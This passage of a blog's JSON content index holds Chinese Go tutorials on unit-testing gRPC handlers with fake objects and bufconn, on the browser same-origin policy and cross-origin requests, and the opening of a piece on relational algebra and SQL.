我们看到：在main函数中，我们创建了一个TCP监听器，并使用grpc.NewServer()创建了一个gRPC服务器。然后，我们通过调用pb.RegisterMyServiceServer()将server类型的实例注册到gRPC服务器上，以处理来自客户端的请求。最后，我们启动gRPC服务器并监听指定的端口。\n上面代码中注册到服务器中的server类型就是实现了MyService服务接口的具体类型，它实现了MyService定义的所有方法：\n// grpc-test-examples/grpctest/server.go package main import ( \u0026quot;context\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;strconv\u0026quot; pb \u0026quot;demo/mygrpc\u0026quot; ) type server struct{} func (s *server) UnaryRPC(ctx context.Context, req *pb.RequestMessage) (*pb.ResponseMessage, error) { message := \u0026quot;Unary RPC received: \u0026quot; + req.Message fmt.Println(message) return \u0026amp;pb.ResponseMessage{ Message: \u0026quot;Unary RPC response\u0026quot;, }, nil } func (s *server) ServerStreamingRPC(req *pb.RequestMessage, stream pb.MyService_ServerStreamingRPCServer) error { message := \u0026quot;Server Streaming RPC received: \u0026quot; + req.Message fmt.Println(message) for i := 0; i \u0026lt; 5; i++ { response := \u0026amp;pb.ResponseMessage{ Message: \u0026quot;Server Streaming RPC response \u0026quot; + strconv.Itoa(i+1), } if err := stream.Send(response); err != nil { return err } } return nil } func (s *server) ClientStreamingRPC(stream pb.MyService_ClientStreamingRPCServer) error { var messages []string for { req, err := stream.Recv() if err != nil { return err } messages = append(messages, req.Message) if req.Message == \u0026quot;end\u0026quot; { break } } message := \u0026quot;Client Streaming RPC received: \u0026quot; + fmt.Sprintf(\u0026quot;%v\u0026quot;, messages) fmt.Println(message) return stream.SendAndClose(\u0026amp;pb.ResponseMessage{ Message: \u0026quot;Client Streaming RPC response\u0026quot;, }) } func (s *server) BidirectionalStreamingRPC(stream pb.MyService_BidirectionalStreamingRPCServer) error { for { req, err := stream.Recv() if err != nil { return err } message := \u0026quot;Bidirectional Streaming RPC received: \u0026quot; + req.Message fmt.Println(message) response := \u0026amp;pb.ResponseMessage{ Message: \u0026quot;Bidirectional Streaming RPC response\u0026quot;, } if err := stream.Send(response); err != nil { return err } } } 在上面代码中，我们创建了一个server结构体类型，并实现了MyService的所有RPC方法。每个方法都接收相应的请求消息，并返回对应的响应消息。我们的目标仅是演示如何对上述gRPC Handler进行单元测试，所以这里的实现逻辑非常简单。\n接下来，我们就来逐一对这些gRPC的Handler方法进行单测，我们先从简单的UnaryRPC方法开始。\n2. Unary RPC Handler的单元测试 Unary RPC是最简单，也是最容易理解的RPC通信模式，即客户端与服务端采用一请求一应答的模式。server类型的UnaryRPC Handler方法的原型如下：\n// grpc-test-examples/grpctest/server.go func (s *server) UnaryRPC(ctx context.Context, req *pb.RequestMessage) (*pb.ResponseMessage, error) 就像文章开头做的那个httpserver的handler单测一样，我们肯定不想真实启动一个gRPC server，也不想测试gRPC服务器本身。我们只想测试服务端handler方法的逻辑是否正确。\n观察一下这个方法原型，我们发现它仅依赖两个消息结构：RequestMessage和ResponseMessage，这两个消息结构是上面基于proto文件自动生成的，这样我们就可以不借助任何工具包实现对UnaryRPC handler方法的单测，也无需启动真实的gRPC Server：\n// grpc-test-examples/grpctest/server_test.go type server struct{} func TestServerUnaryRPC(t *testing.T) { s := \u0026amp;server{} req := \u0026amp;pb.RequestMessage{ Message: \u0026quot;Test message\u0026quot;, } resp, err := s.UnaryRPC(context.Background(), req) if err != nil { t.Fatalf(\u0026quot;UnaryRPC failed: %v\u0026quot;, err) } expectedResp := \u0026amp;pb.ResponseMessage{ Message: \u0026quot;Unary RPC response\u0026quot;, } if resp.Message != expectedResp.Message { t.Errorf(\u0026quot;Unexpected response. Got: %s, Want: %s\u0026quot;, resp.Message, expectedResp.Message) } } 将其改造为基于subtest和表驱动的测试也非常easy：\n// grpc-test-examples/grpctest/server_test.go func TestServerUnaryRPCs(t *testing.T) { tests := []struct { name string requestMessage *pb.RequestMessage expectedResp *pb.ResponseMessage }{ { name: \u0026quot;Test Case 1\u0026quot;, requestMessage: \u0026amp;pb.RequestMessage{ Message: \u0026quot;Test message\u0026quot;, }, expectedResp: \u0026amp;pb.ResponseMessage{ Message: \u0026quot;Unary RPC response\u0026quot;, }, }, // Add more test cases as needed } s := \u0026amp;server{} for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { resp, err := s.UnaryRPC(context.Background(), tt.requestMessage) if err != nil { t.Fatalf(\u0026quot;UnaryRPC failed: %v\u0026quot;, err) } if resp.Message != tt.expectedResp.Message { t.Errorf(\u0026quot;Unexpected response. Got: %s, Want: %s\u0026quot;, resp.Message, tt.expectedResp.Message) } }) } } 如果gRPC handler测试都像UnaryRPC这样简单那就好了，但实际上…，好吧，我们继续向下看就好了。\n3. 针对Streaming通信模式的单元测试 3.1 ServerStreamingRPC的测试 前面说过，gRPC支持三种Streaming通信模式：Server-Streaming RPC、Client-Streaming RPC和Bidirectional-Streaming RPC。\n我们先来看看Server-Streaming RPC的方法原型：\n// grpc-test-examples/grpctest/server.go func (s *server) ServerStreamingRPC(req *pb.RequestMessage, stream pb.MyService_ServerStreamingRPCServer) error 我们看到除了RequestMessag外，该方法还依赖一个MyService_ServerStreamingRPCServer的类型，这个类型是一个接口类型：\n// grpc-test-examples/mygrpc/mygrpc.pb.go type MyService_ServerStreamingRPCServer interface { Send(*ResponseMessage) error grpc.ServerStream } 到这里，你脑子中可能已经冒出了一个想法：使用fake object来对ServerStreamingRPC进行单测，这的确是一个可行的方法，我们下面就基于这个思路实现一下。\n注：关于基于fake object进行单测的内容，大家可以看看我以前写的一篇文章《[]单测时尽量用fake object(https://tonybai.com/2023/04/20/provide-fake-object-for-external-collaborators)》。\n3.2 基于fake object的测试 我们首先创建一个实现MyService_ServerStreamingRPCServer的fake object用以代替真实运行RPC服务器时由服务器传入的stream object：\n// grpc-test-examples/grpctest/server_with_fakeobject_test.go import ( \u0026quot;testing\u0026quot; pb \u0026quot;demo/mygrpc\u0026quot; \u0026quot;google.golang.org/grpc\u0026quot; ) type fakeServerStreamingRPCStream struct { grpc.ServerStream responses []*pb.ResponseMessage } func (m *fakeServerStreamingRPCStream) Send(resp *pb.ResponseMessage) error { m.responses = append(m.responses, resp) return nil } 我们看到fakeServerStreamingRPCStream的Send方法只是将收到的ResponseMessage追加到且内部的ResponseMessage切片中。\n接下来我们为ServerStreamingRPC编写测试用例：\n// grpc-test-examples/grpctest/server_with_fakeobject_test.go func TestServerServerStreamingRPC(t *testing.T) { s := \u0026amp;server{} req := \u0026amp;pb.RequestMessage{ Message: \u0026quot;Test message\u0026quot;, } stream := \u0026amp;fakeServerStreamingRPCStream{} err := s.ServerStreamingRPC(req, stream) if err != nil { t.Fatalf(\u0026quot;ServerStreamingRPC failed: %v\u0026quot;, err) } expectedResponses := []string{ \u0026quot;Server Streaming RPC response 1\u0026quot;, \u0026quot;Server Streaming RPC response 2\u0026quot;, \u0026quot;Server Streaming RPC response 3\u0026quot;, \u0026quot;Server Streaming RPC response 4\u0026quot;, \u0026quot;Server Streaming RPC response 5\u0026quot;, } if len(stream.responses) != len(expectedResponses) { t.Errorf(\u0026quot;Unexpected number of responses. Got: %d, Want: %d\u0026quot;, len(stream.responses), len(expectedResponses)) } for i, resp := range stream.responses { if resp.Message != expectedResponses[i] { t.Errorf(\u0026quot;Unexpected response at index %d. Got: %s, Want: %s\u0026quot;, i, resp.Message, expectedResponses[i]) } } } 在这个测试中，ServerStreamingRPC接收一个请求(req)，并通过fake stream object的Send方法返回了5个response，通过与预期的response对比，即可做出测试是否通过的断言。\n到这里，我们看到：fake object完全满足对gRPC Server Handler进行测试的要求。不过我们需要针对不同的Handler建立不同的fake object类型，和文初基于httptest创建的测试用例相比，用例间欠缺了一些一致性。\n那grpc-go是否提供了类似httptest的工具来帮助我们更一致的实现grpc server handler的测试用例呢？我们继续往下看。\n3.3 利用grpc-go提供的测试工具包 grpc-go项目在test下提供了bufconn包，可以帮助我们像httptest那样建立用于测试的“虚拟gRPC服务器”，下面是基于bufconn包建立gRPC测试用服务器的代码：\n// grpc-test-examples/grpctest/server_with_buffconn_test.go package main import ( \u0026quot;context\u0026quot; \u0026quot;log\u0026quot; \u0026quot;net\u0026quot; \u0026quot;testing\u0026quot; pb \u0026quot;demo/mygrpc\u0026quot; \u0026quot;google.golang.org/grpc\u0026quot; \u0026quot;google.golang.org/grpc/test/bufconn\u0026quot; ) func newGRPCServer(t *testing.T) (pb.MyServiceClient, func()) { // 创建 bufconn.Listener 作为服务器的监听器 listener := bufconn.Listen(1024 * 1024) // 创建 gRPC 服务器 srv := grpc.NewServer() // 注册服务处理程序 pb.RegisterMyServiceServer(srv, \u0026amp;server{}) // 在监听器上启动服务器 go func() { if err := srv.Serve(listener); err != nil { t.Fatalf(\u0026quot;Server failed to start: %v\u0026quot;, err) } }() // 创建 bufconn.Dialer 作为客户端连接 dialer := func(context.Context, string) (net.Conn, error) { return listener.Dial() } // 使用 DialContext 和 bufconn.Dialer 创建客户端连接 conn, err := grpc.DialContext(context.Background(), \u0026quot;bufnet\u0026quot;, grpc.WithContextDialer(dialer), grpc.WithInsecure()) if err != nil { t.Fatalf(\u0026quot;Failed to dial server: %v\u0026quot;, err) } // 创建客户端实例 client := pb.NewMyServiceClient(conn) return client, func() { err := listener.Close() if err != nil { log.Printf(\u0026quot;error closing listener: %v\u0026quot;, err) } srv.Stop() } } newGRPCServer是一个用于在测试中创建gRPC服务器和客户端的辅助函数，它使用bufconn.Listen创建一个bufconn.Listener作为服务器的监听器。bufconn包提供了一种在内存中模拟网络连接的方法。然后，它使用grpc.NewServer()创建了一个新的gRPC服务器实例，并使用pb.RegisterMyServiceServer将待测的服务实例(这里是server类型实例)注册到gRPC服务器中。接下来，它创建了与该服务器建连的gRPC客户端，由于该客户端要与bufconn.Listener建连，这里用了一个dialer函数，该函数将通过调用listener.Dial()来建立与服务器的连接。之后基于该连接，我们创建了MyServiceClient的客户端实例，并返回，供测试用例使用。\n基于newGPRCServer这种方式，我们改造一下UnaryRPC的测试用例：\n// grpc-test-examples/grpctest/server_with_buffconn_test.go func TestServerUnaryRPCWithBufConn(t *testing.T) { client, shutdown := newGRPCServer(t) defer shutdown() tests := []struct { name string requestMessage *pb.RequestMessage expectedResp *pb.ResponseMessage }{ { name: \u0026quot;Test Case 1\u0026quot;, requestMessage: \u0026amp;pb.RequestMessage{ Message: \u0026quot;Test message\u0026quot;, }, expectedResp: \u0026amp;pb.ResponseMessage{ Message: \u0026quot;Unary RPC response\u0026quot;, }, }, // Add more test cases as needed } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { resp, err := client.UnaryRPC(context.Background(), tt.requestMessage) if err != nil { t.Fatalf(\u0026quot;UnaryRPC failed: %v\u0026quot;, err) } if resp.Message != tt.expectedResp.Message { t.Errorf(\u0026quot;Unexpected response. Got: %s, Want: %s\u0026quot;, resp.Message, tt.expectedResp.Message) } }) } } 我们看到，相对于前面的TestServerUnaryRPCs，两者复杂度在一个层次。如果结合下面的ServerStreamRPC的测试用例，你就能看出这种方式在测试用例一致性方面的优势了：\n// grpc-test-examples/grpctest/server_with_buffconn_test.go func TestServerServerStreamingRPCWithBufConn(t *testing.T) { client, shutdown := newGRPCServer(t) defer shutdown() req := \u0026amp;pb.RequestMessage{ Message: \u0026quot;Test message\u0026quot;, } stream, err := client.ServerStreamingRPC(context.Background(), req) if err != nil { t.Fatalf(\u0026quot;ServerStreamingRPC failed: %v\u0026quot;, err) } expectedResponses := []string{ \u0026quot;Server Streaming RPC response 1\u0026quot;, \u0026quot;Server Streaming RPC response 2\u0026quot;, \u0026quot;Server Streaming RPC response 3\u0026quot;, \u0026quot;Server Streaming RPC response 4\u0026quot;, \u0026quot;Server Streaming RPC response 5\u0026quot;, } gotResponses := []string{} for { resp, err := stream.Recv() if err != nil { break } gotResponses = append(gotResponses, resp.Message) } if len(gotResponses) != len(expectedResponses) { t.Errorf(\u0026quot;Unexpected number of responses. Got: %d, Want: %d\u0026quot;, len(gotResponses), len(expectedResponses)) } for i, resp := range gotResponses { if resp != expectedResponses[i] { t.Errorf(\u0026quot;Unexpected response at index %d. Got: %s, Want: %s\u0026quot;, i, resp, expectedResponses[i]) } } } 我们再也无需为每个Server Handler建立各自的fake object了！\n由此看到：grpc-go的test/bufconn就是类似httptest的那个grpc server handler的测试脚手架搭建工具。\n3.4 其他Streaming模式的Handler测试 有了bufconn这一利器，其他Streaming模式的Handler测试实现逻辑就大同小异了。本文示例中的ClientStreamingRPC和BidirectionalStreamingRPC两个Handler的测试用例就作为作业，交给各位读者去完成吧！\n4. 小结 在本文中，我们详细探讨了如何对gRPC服务端Handler进行单元测试，我们的目标是找到像net/http/httptest包那样的，可以为gRPC服务端handler测试提供脚手架代码帮助的测试方法。\n我们按照gRPC的四种通信方式，由简到难的逐一探讨各种Handler的单测方法。UnaryRPC handler测试最为简单，毫无技巧的普通测试逻辑便能应付。\n但一旦涉及streaming通信方式的测试，我们就需要借助类似fake object的单测技术了。但fake object也有不足，那就是需要为每个RPC handler建立单独的fake object，费时费力还缺少一致性！\n好在，grpc-go项目为我们提供了test/bufconn包，该包可以像net/http/httptest包那样帮助我们快速建立可复用的测试脚手架代码，这样我们便可以为所有服务端RPC Handler建立一致、稳定的单元测试用例了！\n当然，服务端RPC Handler的单测方法可能不止文中提及这些，各位读者如果有更好的方法和实践，欢迎在评论区留言！\n本文涉及的源码可以在这里下载。\n5. 参考资料 Testing gRPC methods – https://medium.com/@johnsiilver/testing-grpc-methods-6a8edad4159d 《gRPC Up and Running》 – https://book.douban.com/subject/34796013/ Mocking the Universe: Two Techniques for Testing gRPC with Mocks – https://rotational.io/blog/mocking-the-universe/ “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/11/25/grpc-handler-unit-testing-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/grpc-handler-unit-testing-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/11/25/grpc-handler-unit-testing-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/11/25/grpc-handler-unit-testing-in-go\"\u003ehttps://tonybai.com/2023/11/25/grpc-handler-unit-testing-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在云原生时代和微服务架构背景下，HTTP和RPC协议成为服务间通信和与客户端交互的两种主要方式。对于Go语言而言，标准库提供了net/http/httptest包，为开发人员提供了便捷的方式来构建服务端HTTP Handler单元测试的测试脚手架代码，而无需真正建立HTTP服务器，让开发人员可以聚焦于对Handler业务逻辑的测试。比如下面这个示例：\u003c/p\u003e","title":"Go语言gRPC服务Handler单元测试详解"},{"content":"\n本文永久链接 – https://tonybai.com/2023/11/19/understand-go-web-cross-origin-problem-by-example\n在开发Web应用的过程中，我们经常会遇到所谓“跨域问题(Cross Origin Problem)”。跨域问题是由于浏览器的同源策略(Same-origin policy)导致的，它限制了不同源(Origin：域名、协议或端口）之间的资源交互。在这篇文章中，我将通过一些具体的示例来把跨域问题以及主流解决方法说清楚，供大家参考。\n1. 什么是跨域问题 跨域问题指的是当一个Web应用程序在访问另一个域(Origin)的资源时，浏览器会阻止这个跨域的请求(Cross Origin Request)。这句针对跨域问题的诠释里有一个术语“域(Origin)”，它到底是什么呢？\n1.1 什么是Origin 在Mozilla官方术语表中，”Origin”指的是一个Web应用/网站的标识，由协议(protocol/scheme)、域名(domain，或主机名host)和端口(port)组成。如果两个应用/网站的协议、域名和端口都相同，它们就被认为是同源的(same origin)；否则，它们被视为不同源。我们看到：Origin是一个典型的三元组(protocol, domain, port)，只有三元组相同的两个应用/站点才会被认为是同源的(same origin)。\n下面是一些判断两个应用/站点是否同源的例子及判断理由：\n知道了Origin三元组后，我们来揪出跨域问题背后的“罪魁祸首”。\n1.2 同源策略 – 跨域问题的“罪魁祸首” 浏览器为了增加安全性而采取的一项重要措施，那就是“同源策略”。同源策略限制了一个网页中的脚本只能与同源（三元组：协议、域名、端口相同）的资源进行交互，而不能直接访问不同源的资源。\n浏览器的这种同源策略限制主要包含以下几点:\nCookie、LocalStorage和IndexDB无法读取非同源的资源。 DOM和JS对象无法获得非同源资源。例如iframe、img等标签加载的资源，DOM无法访问；JS无法操作非同源页面的DOM。 AJAX请求不能发送到非同源的域名，浏览器会阻止非同源的AJAX请求。 不能读取非同源网页的Cookie、LocalStorage和IndexDB。 下图(图片来自网络)展示了同源策略对恶意脚本代码对非同源数据访问的限制：\n上面这张图片清晰地展示了恶意脚本代码试图访问非同源数据进行恶意登录的过程。\n首先，用户通过浏览器访问正常网站domain1.com，并用用户名密码正常登录该网站，domain1.com使用cookie技术在用户浏览器中保存了与用户登录domain1.com相关的会话信息或token信息。\n之后，用户又访问了恶意站点domain2.com，该站点首页的脚本代码在被下载到用户浏览器中后，试图访问浏览器cookie中有关domain1.com的cookie信息，并试图用该信息冒充用户登录domain1.com做恶意操作。\n浏览器的同源策略成功禁止了恶意代码的这些恶意操作，浏览器从domain2.com下载的脚本代码只能访问与domain2.com同源的信息。\n通过这个过程我们看到：浏览器同源策略的本意是防止恶意网站通过脚本窃取用户的敏感信息，比如登录凭证、个人资料等。如果同源策略不存在，恶意网站就可以自由地读取、修改甚至篡改其他网站的数据，给用户和网站带来巨大的安全风险。\n不过，这种策略的存在给开发人员在开发过程带来诸多烦恼，比如：跨域数据访问限制、跨域脚本调用限制以及无法在不同域名之间共享会话信息等。为此，开发人员需要使用一些技术手段来解决这些跨域问题，这增加了开发的复杂性，并且需要额外的配置和处理，给开发人员带来了一定的麻烦。此外，不正确地处理跨域请求也可能导致安全漏洞，因此开发人员还需要对跨域请求进行合理的安全控制和验证。\n1.3 获取请求中的“origin” 为了做同源检测，我们需要获取和确定请求中的origin信息。那么如何读取和确定呢？\n在HTTP请求头中，”Origin”字段表示发送请求的页面或资源的源信息。该字段包含了发送请求的页面的完整URL或者仅包含协议、域名和端口的部分URL。\n在同源策略下，所有的跨域请求都必须携带”Origin”请求头字段，指示请求的来源。因此，在符合同源策略的情况下，每个请求都应该携带”Origin”字段。\n在服务器端，我们可以通过读取请求头中的”Origin”字段来确定请求的origin，具体的方法会根据使用的编程语言和框架而有所不同，例如在Go中可以通过r.Header.Get(“Origin”)来获取”Origin”字段的值。由于”Origin”字段是由客户端提供的，服务器端在处理请求时，需要进行验证和安全性检查，以防止伪造或恶意的请求。\n然而，有些情况下，请求可能不会携带”Origin”字段。例如，非浏览器环境下的请求（如服务器间的请求、命令行工具等）可能不会包含”Origin”字段。此外，某些旧版本的浏览器可能也不会发送”Origin”字段。\n在这种情况下，我们就需要通过其他方式来确定请求的来源。例如，服务端可以查看请求头中的Referer字段来获取请求的来源。Referer字段指示了请求的来源页面的URL。通过检查Referer字段，服务端可以判断请求是否来自不同的域。此外，服务器端还可以检查请求头中的Host字段，该字段指示了请求的目标主机。如果请求的目标主机与服务端所在的主机不一致，那么可以判断请求是跨域的。\n不过，需要注意的是，服务端的这些方法都依赖于请求头中的信息，而请求头可以被客户端伪造或修改。因此，为了更可靠地判断请求是否跨域，服务端应该综合考虑多个因素，并进行适当的验证和安全措施。\n下面我们看一个可以复现跨域问题的示例。\n1.4 复现跨域问题的Go代码示例 出现跨域问题的示例的图示如下：\n在这个示例中，我们有两个Web应用：server1.com:8081和server2.com:8082。根据前面对Origin的理解，这两个Web应用显然不是同源的。\nserver1.com和server2.com对应的Go代码分别如下：\n// cross-origin-examples/reproduce/server1.com func main() { http.HandleFunc(\u0026quot;/\u0026quot;, func(w http.ResponseWriter, r *http.Request) { w.Header().Set(\u0026quot;Content-Type\u0026quot;, \u0026quot;text/html; charset=utf-8\u0026quot;) html := ` \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Cross-Origin Example\u0026lt;/title\u0026gt; \u0026lt;script\u0026gt; function makeCrossOriginRequest() { var xhr = new XMLHttpRequest(); xhr.open(\u0026quot;GET\u0026quot;, \u0026quot;http://server2.com:8082/api/data\u0026quot;, true); xhr.onreadystatechange = function() { if (xhr.readyState === 4 \u0026amp;\u0026amp; xhr.status === 200) { console.log(xhr.responseText); } }; xhr.send(); } \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;Cross-Origin Example\u0026lt;/h1\u0026gt; \u0026lt;button onclick=\u0026quot;makeCrossOriginRequest()\u0026quot;\u0026gt;Make Cross-Origin Request\u0026lt;/button\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; ` fmt.Fprintf(w, html) }) err := http.ListenAndServe(\u0026quot;server1.com:8081\u0026quot;, nil) if err != nil { panic(err) } } // cross-origin-examples/reproduce/server2.com package main import ( \u0026quot;fmt\u0026quot; \u0026quot;net/http\u0026quot; ) func main() { http.HandleFunc(\u0026quot;/api/data\u0026quot;, func(w http.ResponseWriter, r *http.Request) { fmt.Printf(\u0026quot;recv request: %#v\\n\u0026quot;, *r) w.Write([]byte(\u0026quot;Welcome to api/data\u0026quot;)) }) http.ListenAndServe(\u0026quot;server2.com:8082\u0026quot;, nil) } 注：在编译启动上面两个程序之前，需要在/etc/hosts中将server1.com和server2.com的地址指为127.0.0.1。\n从示意图来看，用户使用浏览器与两个Web应用的交互过程是这样的：\n首先，用户通过浏览器访问了server1.com:8081的主页，并收到server1.com:8081返回的应答包体。该应答包体是一个html页面，如下图：\n接下来，用户点击“Make Cross-Origin Request”按钮，页面内通过ajax向server2.com:8082/api/data发起GET请求。\n最后，我们在(Edge/Chrome)浏览器的控制台上将看到下面错误：\n通过下面server2.com的日志，我们看到ajax请求已经发到server2.com并被正确处理：\nrecv request: http.Request{Method:\u0026quot;GET\u0026quot;, URL:(*url.URL)(0xc00010a480), Proto:\u0026quot;HTTP/1.1\u0026quot;, ProtoMajor:1, ProtoMinor:1, Header:http.Header{\u0026quot;Accept\u0026quot;:[]string{\u0026quot;*/*\u0026quot;}, \u0026quot;Accept-Encoding\u0026quot;:[]string{\u0026quot;gzip, deflate\u0026quot;}, \u0026quot;Accept-Language\u0026quot;:[]string{\u0026quot;zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6\u0026quot;}, \u0026quot;Connection\u0026quot;:[]string{\u0026quot;keep-alive\u0026quot;}, \u0026quot;Origin\u0026quot;:[]string{\u0026quot;http://server1.com:8081\u0026quot;}, \u0026quot;Referer\u0026quot;:[]string{\u0026quot;http://server1.com:8081/\u0026quot;}, \u0026quot;User-Agent\u0026quot;:[]string{\u0026quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.81\u0026quot;}}, Body:http.noBody{}, GetBody:(func() (io.ReadCloser, error))(nil), ContentLength:0, TransferEncoding:[]string(nil), Close:false, Host:\u0026quot;server2.com:8082\u0026quot;, Form:url.Values(nil), PostForm:url.Values(nil), MultipartForm:(*multipart.Form)(nil), Trailer:http.Header(nil), RemoteAddr:\u0026quot;127.0.0.1:49773\u0026quot;, RequestURI:\u0026quot;/api/data\u0026quot;, TLS:(*tls.ConnectionState)(nil), Cancel:(\u0026lt;-chan struct {})(nil), Response:(*http.Response)(nil), ctx:(*context.cancelCtx)(0xc000106320)} server2.com在服务端并没有主动判断是否是同源请求，但即使服务器没有进行跨域校验并返回成功的响应和数据，浏览器也会拦截脚本读取跨域响应数据的尝试，这是由浏览器的同源策略所决定的。这也是我们看到上面截图中报错的原因。\n那么解决跨域问题有哪些主流的解决方法呢？我们继续看一下。\n2. 跨域问题的主流解决方法 为了解决跨域问题，有下面几种常见的解决方法：\nJSONP（JSON with Padding） 通过动态创建\\","permalink":"https://tonybai.com/2023/11/19/understand-go-web-cross-origin-problem-by-example/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-go-web-cross-origin-problem-by-example-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/11/19/understand-go-web-cross-origin-problem-by-example\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/11/19/understand-go-web-cross-origin-problem-by-example\"\u003ehttps://tonybai.com/2023/11/19/understand-go-web-cross-origin-problem-by-example\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在开发Web应用的过程中，我们经常会遇到所谓“跨域问题(Cross Origin Problem)”。跨域问题是由于浏览器的\u003ca href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy\"\u003e同源策略(Same-origin policy)\u003c/a\u003e导致的，它限制了不同源(Origin：域名、协议或端口）之间的资源交互。在这篇文章中，我将通过一些具体的示例来把跨域问题以及主流解决方法说清楚，供大家参考。\u003c/p\u003e","title":"通过实例理解Web应用跨域问题"},{"content":"\n本文永久链接 – https://tonybai.com/2023/11/15/relational-algebra-and-sql-with-go-examples\n近些年，数据库领域发展日新月异，除传统的关系型数据库外，还出现了许多新型的数据库，比如：以HBase、Cassandra、MongoDB为代表的NoSQL数据库，以InfluxDB、TDEngine为代表的时序数据库，以Neo4J、Dgraph为代表的图数据库，以Redis、Memcached等为代表的内存数据库，以Milvus为代表的向量数据库，以CockroachDB、TiDB为代表的HTAP融合数据库以及云原生数据库等。各类型数据库都有自己的优势，开发者可以根据应用场景选择最合适的数据库。\n不过，关系型数据库依旧是当今最流行的数据库管理系统，广泛应用于企业应用，也是大多数数应用开发人员日常接触最多的一种数据库类型。关系型数据库通过关系模型和关系代数的理论基础，实现了对关系数据的高效组织和操作。但许多开发人员在使用SQL进行数据库开发时，往往感到关系代数晦涩难懂，对SQL语句的语义理解不透彻，这给数据库应用开发带来了困难。\n在这篇文章中，我们就来研究一下关系模型和关系代数，探究其与SQL语句的对应关系，并用Go语言代码示例实现相关查询，期望能帮助读者增进对关系数据库的理解，减轻数据库开发痛点，提高数据库应用能力。\n1. 关系模型(Relational Model) 20世纪70年代，IBM研究员E.F. Codd在“A Relational Model of Data for Large Shared Data Banks”这篇论文中提出了关系模型的概念。随后，E.F.Codd又陆续发表了多篇文章，用数学理论奠定了关系数据库的基础，为关系数据库建立了一个数据模型 —— 关系数据模型。\n关系模型基于谓词逻辑和集合论，有严格的数学基础，提供了高级别的数据抽象层次，并不规定数据存取的具体过程，而是交由DBMS(数据库管理系统)自己实现。\n关系模型之所以成为DBMS领域的主流模型，正是由于其非常简单(相较于更早的网络模型(network model)和层次模型(hierarchical model))，下面是关系模型中定义的一些概念：\n关系(Relation) E.F.Codd的论文对关系(Relation)的定义是这样的：“这里的关系是指公认的数学意义上的关系。给定集合S1, S2, … ,Sn（不一定互不相关），如果 R是由n元组(n-tuples)组成的集合，其中每个元组的第一个元素来自S1，第二个元素来自S2，以此类推，那么R就是这n个集合(S1~Sn)上的一个关系”。\n不用你说，我也知道这段文字太过抽象！下面我尽力用一个图来呈现一下Relation的含义：\n我们看到，关系(Relation)是一个集合，实质上是一个“二维表格结构”，把上图中不属于R中的元组去掉，看起来可能更清晰一些：\n这个结构中的每一行就是1个n元组(n-tuples)，列则是S1到Sn，一共n个列。n元组中的数据依次分别来自S1、S2、…Sn。\n元组(Tuple) 关系(Relation)这个“二维表格结构”中的每一个n元组，即每一行，被称作元组(Tuple)。\n属性(Attribute) 关系(Relation)这个“二维表格结构”中的每一列(Sn)被称作一个属性(Attribute)。\n域(Domain) 属性可能取值的范围被称为该属性的域，以图中属性S3为例，S3-e1、S3-e2一直到S3-ek都在该属性的域中，显然{S3-e1, S3-e2, …, S3-ek}这个集合是属性S3的域的一个子集。有个特殊的值null是所有域的一个成员，它一般表示值为”unknown”。\n论文在定义关系模型时，还定义了一些模型的额外特征，比如：\n元组的顺序是不重要的； 所有的元组(行)是不同的； … … 有了关系模型的定义，接下来就可以在模型基础上定义以关系操作对象的运算了，这种运算的集合就构成了关系代数。\n2. 关系代数（Relational Algebra） 关系代数由一系列操作组成，这些操作将一个或两个关系作为输入，并产生一个新的关系作为结果。概括来说就是关系代数的运算通过输入有限数量的关系进行运算，运算结果仍为关系。\n关系代数定义了一些基本关系运算和扩展关系运算，其中基本关系运算包括：\n选择（Selection） 投影（Projection） 笛卡儿积（Cartesian Product） 连接（Join） 除（Division） 关系并（Union） 关系差（Difference） 扩展运算包括：\n关系交（Intersection） 重命名（Rename） … … 注：关于关系代数的基本关系运算与扩展关系运算的定义在不同书籍里或资料里有所不同。比如在《数据库查询优化器的艺术》一书中，作者认为：关系代数（Relational 